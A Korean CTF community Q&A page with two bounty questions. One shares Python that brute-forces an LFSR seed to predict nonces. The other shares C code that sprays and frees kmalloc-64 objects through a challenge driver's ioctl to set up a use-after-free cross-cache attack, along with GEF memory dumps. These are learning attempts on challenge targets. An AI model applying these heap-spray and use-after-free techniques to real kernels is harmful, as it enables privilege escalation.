보상이 걸린 질문
질문에 답변을 달고 보상을 받아가세요!
댓글들을 보고 nonce 값 예측해서 하는 거구나 코드를 하나 만들었습니다 def get_rand32bits(): global seed rand32bits = 0 for i in range(32): rand32bits |= (seed & 1) << i feedback = seed & 1 ^ seed >> 2 & 1 ^ seed >> 3 & 1 ^ seed >> 5 & 1 seed = (seed >> 1) | feedback << 15 return rand32bits def get_nonce(): nonce = 0 for i in range(4): randn = get_rand32bits() nonce |= randn << i * 32 nonce ^= 0xbeefbeefcafecafe13371337defaced0 return nonce for i in range(1, 65536): seed = i print(seed) if (str(hex(get_nonce())[2:]) == "가장 최근에 얻은 nonce"): print(f"드디어 끝!: {i}") break 이런 코드를 짜서 seed를 거의 모든 경우의 수를 넣고 한 번씩 돌려서 빠르게 seed 값을 얻고 seed = 얻은 seed 값 def get_rand32bits(): global seed rand32bits = 0 for i in range(32): rand32bits |= (seed & 1) << i feedback = seed & 1 ^ seed >> 2 & 1 ^ seed >> 3 & 1 ^ seed >> 5 & 1 seed = (seed >> 1) | feedback << 15 return rand32bits def get_nonce(): nonce = 0 for i in range(4): randn = get_rand32bits() nonce |= randn << i * 32 nonce ^= 0xbeefbeefcafecafe13371337defaced0 return nonce print(hex(get_nonce())[2:]) print(hex(get_nonce())[2:]) 이렇게 get_nonce를 두 번 실행시키는 방식으로 다음 nonce 값을 예측하는 방식으로 해봤는데 직접 실행해서 다음 nonce 값을 확인해보니 다르게 다오더라고요... 혹시 다른 방식으로 해야하거나 제가 이상하게 코드를 짠 건가요??
대기중
5 코인 커널 익스 질문
해당 문제를 Cross-Cache Attack이란 기법으로 접근해 보고자(https://velog.io/@marchen/Cross-Cache-Attack) 해당 문제 모듈의 ioctl을 사용해 슬랩 하나를 64크기의 객체로 가득 채운후 전부 해제해서 해당 슬랩이 버디 할당자로 넘어가게 하는 코드를 짜보았습니다. struct argument { unsigned long idx; unsigned long buf[8]; }; int main(){ struct argument *arg; arg = malloc(sizeof(struct argument)); save_state(); bind_core(0); int fd = open("/dev/serendipity", O_RDWR); int i; puts("[+] Spraying objects..."); for(int i = 0; i < (64 * 5) - 31 + 5; i++){ arg->idx = i + 1; memset(arg->buf, 'A', sizeof(arg->buf)); ioctl(fd, ALLOC, arg); if( i == 64 * 4 ) { puts("[+] Getting a Dangling Pointer..."); arg->idx = 0; memset(arg->buf, 'B', sizeof(arg->buf)); ioctl(fd, ALLOC, arg); arg->idx = 0; memset(arg->buf, 'B', sizeof(arg->buf)); ioctl(fd, UAF, arg); } } getchar(); puts("[+] Releasing objects..."); for(int i = 0; i < (64 * 5) - 31 + 5; i++){ arg->idx = i + 1; memset(arg->buf, 'A', sizeof(arg->buf)); ioctl(fd, FREE, arg); } getchar(); (64 * 5) - 31 + 5 이란 갯수는 gef로 커널을 직접 들여다보며 실험적으로 구한 값이고 kmalloc_large에 중단점을 걸어서 할당 객체들의 포인터 배열의 위치를 구하고 해당 배열의 0번째 인덱스에 dangling pointer를 삽입한 뒤 한 페이지 내의 객체를 전부 해제시켜버리는 코드입니다. gef로 까본 결과는 다음과 같았습니다. <객체들 해제 전> gef> x/10gx 0xffff888003000000 <- 배열의 주소 0xffff888003000000: 0xffff88800314f700<-0번째0xffff888002e52700 0xffff888003000010: 0xffff888002e52800 0xffff888002e52840 0xffff888003000020: 0xffff888002e52880 0xffff888002e528c0 0xffff888003000030: 0xffff888002e52900 0xffff888002e52940 0xffff888003000040: 0xffff888002e52980 0xffff888002e529c0 gef> slab-contains 0xffff88800314f700 [+] Wait for memory scan slab: 0xffffea00000c53c0 kmem_cache: 0xffff888002441500 base: 0xffff88800314f000 name: kmalloc-64 size: 0x40 num_pages: 0x1 <-kmem_cache <객체들 해제 후> gef> x/10gx 0xffff888003000000 0xffff888003000000: 0xffff88800314f700<-dangling pointer 0x0000000000000000 0xffff888003000010: 0x0000000000000000 0x0000000000000000 0xffff888003000020: 0x0000000000000000 0x0000000000000000 0xffff888003000030: 0x0000000000000000 0x0000000000000000 0xffff888003000040: 0x0000000000000000 0x0000000000000000 gef> slab-contains 0xffff88800314f700 [+] Wait for memory scan slab: 0xffffea00000c53c0 kmem_cache: 0xffff888002441500 base: 0xffff88800314f000 name: kmalloc-64 size: 0x40 num_pages: 0x1 <- 여전히 kmalloc-64, buddy 할당자에게 반환이 안됨. <dangling pointer가 가르키는 슬랩 내부> gef> x/512gx 0xffff88800314f000 0xffff88800314f000: 0x4141414141414141 0x4141414141414141<- A로 전부 채워짐 0xffff88800314f010: 0x4141414141414141 0x4141414141414141 0xffff88800314f020: 0x0000000000000000<-freelist 끝0x4141414141414141 0xffff88800314f030: 0x4141414141414141 0x4141414141414141<- 64바이트의 크기 ....중략 0xffff88800314ffc0: 0x4141414141414141 0x4141414141414141 0xffff88800314ffd0: 0x4141414141414141 0x4141414141414141 0xffff88800314ffe0: 0xffff88800314ff80<-next 0x4141414141414141 0xffff88800314fff0: 0x4141414141414141 0x4141414141414141 dangling pointer가 가르키는 객체가 속한 슬랩은 전부 ioctl로 할당한 객체로 채워져있었고 모두 해제되었다는 것 또한 확인했습다. 그런데 버디 할당자로 반환이 안되는 것을 보아 하니 버디 할당자로 반환되기 위한 조건이 해당 슬랩 내부의 모든 객체의 해제 상태 이외에 더 필요한 조건이나 경우가 있나요? 또한 Cross Cache Attack을 이용하는 것이 인텐이 아니라면 조언을 좀 부탁드립니다.
커뮤니티 최신글